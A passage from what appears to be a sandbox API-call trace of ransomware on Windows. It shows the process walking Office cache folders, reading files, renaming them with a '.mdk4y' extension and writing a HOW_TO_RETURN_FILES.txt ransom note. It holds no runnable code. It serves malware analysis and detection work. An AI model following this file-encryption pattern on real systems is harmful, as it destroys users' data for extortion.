lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.mdk4y")) returned 1 [0087.554] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.554] AreFileApisANSI () returned 1 [0087.554] GetACP () returned 0x4e4 [0087.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProPrWW.cab", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProPrWW.cabxml", lpUsedDefaultChar=0x37dfd8) returned 11 [0087.555] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816278500000) returned 1 [0087.555] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0087.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816285500000) returned 1 [0087.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816285500000) returned 1 [0087.647] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.mdk4y")) returned 1 [0087.648] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.648] AreFileApisANSI () returned 1 [0087.648] GetACP () returned 0x4e4 [0087.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ProPrWW2.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ProPrWW2.cabml", lpUsedDefaultChar=0x37dfd8) returned 12 [0087.648] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816287900000) returned 1 [0087.649] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0087.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816297300000) returned 1 [0087.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816297300000) returned 1 [0087.798] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.mdk4y")) returned 1 [0087.799] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.799] AreFileApisANSI () returned 1 [0087.799] GetACP () returned 0x4e4 [0087.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="setup.execab", lpUsedDefaultChar=0x37dfd8) returned 9 [0087.799] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.799] AreFileApisANSI () returned 1 [0087.799] GetACP () returned 0x4e4 [0087.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0087.799] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816302900000) returned 1 [0087.800] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x7976, lpOverlapped=0x0) returned 1 [0087.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816304300000) returned 1 [0087.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816304300000) returned 1 [0087.814] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0087.815] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0087.815] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0087.815] AreFileApisANSI () returned 1 [0087.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0087.815] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0087.816] GetFileType (hFile=0x128) returned 0x1 [0087.816] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0087.816] AreFileApisANSI () returned 1 [0087.816] GetACP () returned 0x4e4 [0087.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{91140000-003B-0000-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{91140000-003B-0000-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0087.816] AreFileApisANSI () returned 1 [0087.816] GetACP () returned 0x4e4 [0087.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\k\x8b") returned 63 [0087.863] AreFileApisANSI () returned 1 [0087.863] GetACP () returned 0x4e4 [0087.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0087.863] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.863] AreFileApisANSI () returned 1 [0087.863] GetACP () returned 0x4e4 [0087.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0087.863] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0087.863] AreFileApisANSI () returned 1 [0087.863] GetACP () returned 0x4e4 [0087.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.msi", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.msi11-0000-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 14 [0087.864] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0087.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816309400000) returned 1 [0087.864] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0088.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816323000000) returned 1 [0088.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816323000000) returned 1 [0088.046] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.mdk4y")) returned 1 [0088.046] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.046] AreFileApisANSI () returned 1 [0088.046] GetACP () returned 0x4e4 [0088.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x37dfd8) returned 14 [0088.046] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816327700000) returned 1 [0088.047] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10b2, lpOverlapped=0x0) returned 1 [0088.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816327800000) returned 1 [0088.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816327800000) returned 1 [0088.049] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.mdk4y")) returned 1 [0088.049] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.049] AreFileApisANSI () returned 1 [0088.049] GetACP () returned 0x4e4 [0088.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ose.exe2WW.xml", lpUsedDefaultChar=0x37dfd8) returned 7 [0088.050] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.050] AreFileApisANSI () returned 1 [0088.050] GetACP () returned 0x4e4 [0088.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="osetup.dll.xml", lpUsedDefaultChar=0x37dfd8) returned 10 [0088.050] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.050] AreFileApisANSI () returned 1 [0088.050] GetACP () returned 0x4e4 [0088.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OWOW32WW.cabml", lpUsedDefaultChar=0x37dfd8) returned 12 [0088.050] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816328100000) returned 1 [0088.051] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0088.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816341300000) returned 1 [0088.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816341300000) returned 1 [0088.231] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.mdk4y")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.231] AreFileApisANSI () returned 1 [0088.231] GetACP () returned 0x4e4 [0088.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PidGenX.dllb", lpUsedDefaultChar=0x37dfd8) returned 11 [0088.231] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.231] AreFileApisANSI () returned 1 [0088.231] GetACP () returned 0x4e4 [0088.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms00-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 24 [0088.232] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816346200000) returned 1 [0088.232] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xaec3a, lpOverlapped=0x0) returned 1 [0088.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816349700000) returned 1 [0088.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816349700000) returned 1 [0088.273] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.mdk4y")) returned 1 [0088.273] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.273] AreFileApisANSI () returned 1 [0088.273] GetACP () returned 0x4e4 [0088.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PrjProrWW.msi", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PrjProrWW.msifice.xrm-ms", lpUsedDefaultChar=0x37dfd8) returned 13 [0088.273] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816351200000) returned 1 [0088.282] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0088.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816375100000) returned 1 [0088.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816375100000) returned 1 [0088.530] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.mdk4y")) returned 1 [0088.531] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.531] AreFileApisANSI () returned 1 [0088.531] GetACP () returned 0x4e4 [0088.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PrjProrWW.xml", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PrjProrWW.xml", lpUsedDefaultChar=0x37dfd8) returned 13 [0088.531] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816376200000) returned 1 [0088.532] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1915, lpOverlapped=0x0) returned 1 [0088.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816378500000) returned 1 [0088.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816378500000) returned 1 [0088.555] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.mdk4y")) returned 1 [0088.556] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.556] AreFileApisANSI () returned 1 [0088.556] GetACP () returned 0x4e4 [0088.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PrjPrrWW.cabl", lpUsedDefaultChar=0x37dfd8) returned 12 [0088.556] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816378600000) returned 1 [0088.556] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0088.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816385600000) returned 1 [0088.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816385600000) returned 1 [0088.751] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.mdk4y")) returned 1 [0088.752] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.752] AreFileApisANSI () returned 1 [0088.752] GetACP () returned 0x4e4 [0088.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="setup.execab", lpUsedDefaultChar=0x37dfd8) returned 9 [0088.752] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0088.752] AreFileApisANSI () returned 1 [0088.752] GetACP () returned 0x4e4 [0088.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0088.752] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0088.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816398300000) returned 1 [0088.753] 